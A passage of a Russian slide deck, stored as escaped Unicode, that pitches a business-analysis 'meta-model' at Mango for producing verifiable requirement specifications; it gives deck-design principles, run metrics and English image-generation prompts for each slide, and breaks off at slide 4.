\u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044e \u043e\u0442\u0434\u0435\u043b\u0430 AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438\\nMango. \u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u2014 \u0441\u043b\u0430\u0439\u0434\u044b. \u0423\u0441\u0442\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u043c\u043e\u0441\u0442\u0438\u043a\u0438 \u043c\u0435\u0436\u0434\u0443 \u0441\u043b\u0430\u0439\u0434\u0430\u043c\u0438 \u0438 \u043e\u0442\u0432\u0435\u0442\u044b\\n\u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b \u2014 \u0432\\n[\u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0438 \u0434\u043b\u044f \u0434\u0438\u043a\u0442\u043e\u0440\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md);\\n\u043d\u043e\u043c\u0435\u0440\u0430 \u0441\u043b\u0430\u0439\u0434\u043e\u0432 \u0432 \u043e\u0431\u043e\u0438\u0445 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0445 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442.\\n\\n## \u041a\u0430\u043a \u0441\u043e\u0431\u0440\u0430\u043d \u043f\u0430\u043a\u0435\u0442\\n\\n- **Assertion-Evidence.** \u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0441\u043b\u0430\u0439\u0434\u0430 \u2014 \u0437\u0430\u043a\u043e\u043d\u0447\u0435\u043d\u043d\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435\\n  \u043c\u043e\u0436\u043d\u043e \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c. \u0422\u0435\u043b\u043e \u2014 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e: \u0441\u0445\u0435\u043c\u0430, \u0447\u0438\u0441\u043b\u043e \u0438\u043b\u0438 \u0441\u0441\u044b\u043b\u043a\u0430, \u0430 \u043d\u0435\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430.\\n- **\u041e\u0434\u0438\u043d \u0441\u043b\u0430\u0439\u0434 \u2014 \u043e\u0434\u043d\u0430 \u043c\u044b\u0441\u043b\u044c.** 3\u20135 \u0442\u0435\u0437\u0438\u0441\u043e\u0432, \u043e\u0434\u043d\u0430 \u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u0430\u044f \u043c\u0435\u0442\u0440\u0438\u043a\u0430. \u0412\u0441\u0451, \u0447\u0442\u043e\\n  \u043d\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f, \u0443\u0445\u043e\u0434\u0438\u0442 \u0432 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 \u0438\u043b\u0438 \u0432 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u044b.\\n- **\u041a\u0430\u0436\u0434\u043e\u0435 \u0447\u0438\u0441\u043b\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0439 \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0435\u0441\u0442\u044c \u0430\u0431\u0441\u043e\u043b\u044e\u0442\u043d\u0430\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430\\n  \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0433\u0434\u0435 \u043e\u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430. \u0427\u0438\u0441\u043b\u0430 \u0431\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442 \u043d\u0435 \u043f\u043e\u043f\u0430\u043b\u0438.\\n- **\u0421\u0442\u0430\u0442\u0443\u0441 \u043d\u0435 \u0437\u0430\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f.** \u0414\u043b\u044f \u044d\u0442\u0430\u043f\u043e\u0432 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0430 \u0438 \u0441\u0440\u0435\u0434 \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442,\\n  \u0447\u0442\u043e \u0432 \u043f\u0438\u043b\u043e\u0442\u0435 \u0438 \u0447\u0442\u043e \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043e. \u0414\u043b\u044f \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0440\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f\\n  \u043f\u0435\u0440\u0435\u043e\u0446\u0435\u043d\u043a\u0430 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u0438 \u0434\u043e\u0440\u043e\u0436\u0435, \u0447\u0435\u043c \u0447\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n- **\u0421\u043a\u0432\u043e\u0437\u043d\u0430\u044f \u043c\u0435\u0442\u0430\u0444\u043e\u0440\u0430:** \u0445\u0430\u043e\u0441 \u0441\u044b\u0440\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0438\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442, \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438.\\n\\n### \u0421\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u043c\u044b\u0441\u043b\u043e\u0432\u044b\u043c \u0431\u043b\u043e\u043a\u0430\u043c \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438\\n\\n| \u0411\u043b\u043e\u043a \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 | \u0421\u043b\u0430\u0439\u0434 |\\n| --- | --- |\\n| \u2014 (\u0442\u0438\u0442\u0443\u043b) | 1 |\\n| 1. \u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f | 2 |\\n| 2. \u0411\u043e\u043b\u044c | 3 |\\n| \u2014 (\u044d\u043c\u043f\u0438\u0440\u0438\u043a\u0430: \u043e\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u043e\u0434\u0435\u043b\u0438) | 4 |\\n| 3. \u041a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | 5 |\\n| 4. \u041a\u043b\u044e\u0447\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0440\u044b\u0432 | 6 |\\n| 5. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 | 7 |\\n| 6. \u0421\u0440\u0435\u0434\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f | 8 |\\n| 7. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 | 9 |\\n| \u2014 (\u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0443\u0436\u043d\u044b) | 10 |\\n\\n\u0421\u043b\u0430\u0439\u0434 4 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0441\u0432\u0435\u0440\u0445 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438: \u0431\u0435\u0437 \u043d\u0435\u0433\u043e \u043f\u0440\u043e\u0440\u044b\u0432 \u043d\u0430 \u0441\u043b\u0430\u0439\u0434\u0435 6 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a\\n\u0442\u0435\u0437\u0438\u0441, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0432\u044b\u0432\u043e\u0434 \u0438\u0437 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n### \u0415\u0434\u0438\u043d\u044b\u0439 \u0432\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0442\u0438\u043b\u044c \u0434\u043b\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432\\n\\n\u0412\u0441\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u043d\u0438\u0436\u0435 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043d\u0430 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u043e\u043c: \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u043f\u043e\u043d\u0438\u043c\u0430\u044e\u0442 \u0435\u0433\u043e\\n\u0442\u043e\u0447\u043d\u0435\u0435. \u041a\u0430\u0436\u0434\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0449\u0438\u043c \u0441\u0442\u0438\u043b\u0435\u0432\u044b\u043c \u0441\u0443\u0444\u0444\u0438\u043a\u0441\u043e\u043c, \u0447\u0442\u043e\u0431\u044b \u0441\u043b\u0430\u0439\u0434\u044b\\n\u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u0438 \u043a\u0430\u043a \u043e\u0434\u043d\u0430 \u0441\u0435\u0440\u0438\u044f:\\n\\n```text\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n\u0414\u043b\u044f Midjourney \u0434\u043e\u0431\u0430\u0432\u044c\u0442\u0435 `--ar 16:9 --style raw`; \u0434\u043b\u044f DALL-E \u0443\u043a\u0430\u0436\u0438\u0442\u0435 \u0444\u043e\u0440\u043c\u0430\u0442\\n1792\u00d71024. \u041d\u0430\u0434\u043f\u0438\u0441\u0438 \u043d\u0430 \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0438 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u044e\u0442\u0441\u044f: \u0442\u0435\u043a\u0441\u0442 \u0441\u043b\u0430\u0439\u0434\u0430 \u043d\u0430\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f\\n\u0432 \u0440\u0435\u0434\u0430\u043a\u0442\u043e\u0440\u0435, \u0438\u043d\u0430\u0447\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0442\u043e\u0440 \u0438\u0441\u043a\u0430\u0437\u0438\u0442 \u043a\u0438\u0440\u0438\u043b\u043b\u0438\u0446\u0443.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 1. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u0430\u043a \u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043d\u044b\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u0442\u0435\u043a\u0441\u0442\\n\\n**\u041f\u043e\u0434\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a:** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0437\u0430 Mango: \u043e\u0442 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a\\n\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 \u0441 fail-closed \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439.\\n\\n- \u041e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438: \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026.\\n- 69 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430.\\n- \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c v0.4: 11 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439, 4 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430, 3 \u0433\u0435\u0439\u0442\u0430.\\n- \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0431\u0438\u0437\u043d\u0435\u0441-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0432\u0435\u043a\u0442\u043e\u0440 \u2014 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u043e\u0435 \u044f\u0434\u0440\u043e.\\n\\n> **\u041a\u043b\u044e\u0447\u0435\u0432\u0430\u044f \u043c\u044b\u0441\u043b\u044c:** \u043c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0448\u043b\u0435\u043d\u0438\u0435 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430. \u041c\u044b \u0434\u0435\u043b\u0430\u0435\u043c \u0435\u0433\u043e\\n> \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA chaotic cloud of loose paper notes, chat bubbles and voice waveforms\\non the left flows through a precise geometric gate in the centre and\\nleaves on the right as a neat stack of identical, bound specification\\ndocuments, each linked by thin lines back to its source note.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model),\\n[\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 2. \u0412 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 \u043a\u0440\u0443\u043f\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u044d\u0442\u043e \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u0437\u0430\u043c\u0435\u0442\u043a\u0430\\n\\n**\u0411\u043b\u043e\u043a 1. \u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f.**\\n\\n- \u041a\u043b\u0438\u0435\u043d\u0442 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435\u043c; \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u2014 \u0422\u0417, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443\\n  \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0432 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0435.\\n- \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u0448\u0438\u0440\u043e\u043a: \u0412\u0410\u0422\u0421, \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440, API, \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u2014\\n  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango, \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441 42 \u0430\u043d\u0430\u043b\u043e\u0433\u0430\u043c\u0438 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c.\\n- \u041a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441: \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435, \u0430 \u043d\u0435 \u043f\u0440\u0430\u0432\u043a\u043e\u0439\\n  \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430.\\n- \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438: \u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439\\n  \u0430\u043d\u0430\u043b\u0438\u0437 \u2192 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u2014 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c,\\n> \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447 \u00ab\u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0421\u0410 \u2192\\n\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u2192 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u00bb \u0441 \u0442\u043e\u0447\u043a\u0430\u043c\u0438, \u0433\u0434\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nA relay race of four stylised figures passing a glowing document baton\\nalong a long corridor of server racks and contract folders; at every\\nhand-off a few fragments of the baton drift away into the dark.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 Mango](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/mango-products.yaml),\\n[\u0442\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/product-taxonomy/telecom-products.yaml).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 3. \u041c\u0435\u0436\u0434\u0443 \u0441\u044b\u0440\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0422\u0417 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0440\u0443\u0447\u043d\u043e\u043c \u0448\u0430\u0433\u0435\\n\\n**\u0411\u043b\u043e\u043a 2. \u0411\u043e\u043b\u044c.** \u0424\u0430\u043a\u0442\u044b \u0438\u0437 \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u0432\u0441\u0435\u0445 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `mango_ba_prompts`.\\n\\n- 17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 \u2014 17 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440: \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c\\n  \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b `M-1 = 0.0`.\\n- 50 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043d\u0435\u043b\u044c\u0437\u044f\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0441\u0442\u0438.\\n- \u0418\u0418 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0443\u0441\u0442\u043e\u0442\u044b \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c: \u0432 RUN-0015 \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u044b \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\\n  NFR (5 \u043c\u0438\u043d, 100 \u043c\u0441, 2 \u0441, 24/7) \u2014 \u0432\u0441\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c.\\n- \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0441\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f: \u0432 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435\\n  \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435.\\n\\n> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** `M-1 = 0.0` \u2014 \u043d\u0438 \u043e\u0434\u0438\u043d \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\\n> \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\\n\\n**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0441\u0435\u0442\u043a\u0430 \u0438\u0437 17 \u043c\u0438\u043d\u0438\u0430\u0442\u044e\u0440 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\\n\u0441\u043e\u0441\u0442\u0430\u0432\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432; \u043d\u0438 \u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442.\\n\\n**\u041f\u0440\u043e\u043c\u043f\u0442 \u0434\u043b\u044f \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f:**\\n\\n```text\\nSeventeen specification documents laid out in a grid, each with a\\ndifferent internal skeleton of blocks and sections, none of them\\nmatching; a single empty template frame hovers above, unused.\\nSTYLE: clean isometric technical illustration, deep navy background,\\noff-white linework, single amber accent colour for the key element,\\ngenerous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n[\u0437\u0430\u043c\u0435\u0440 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-artifact-structure-variance-facts.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 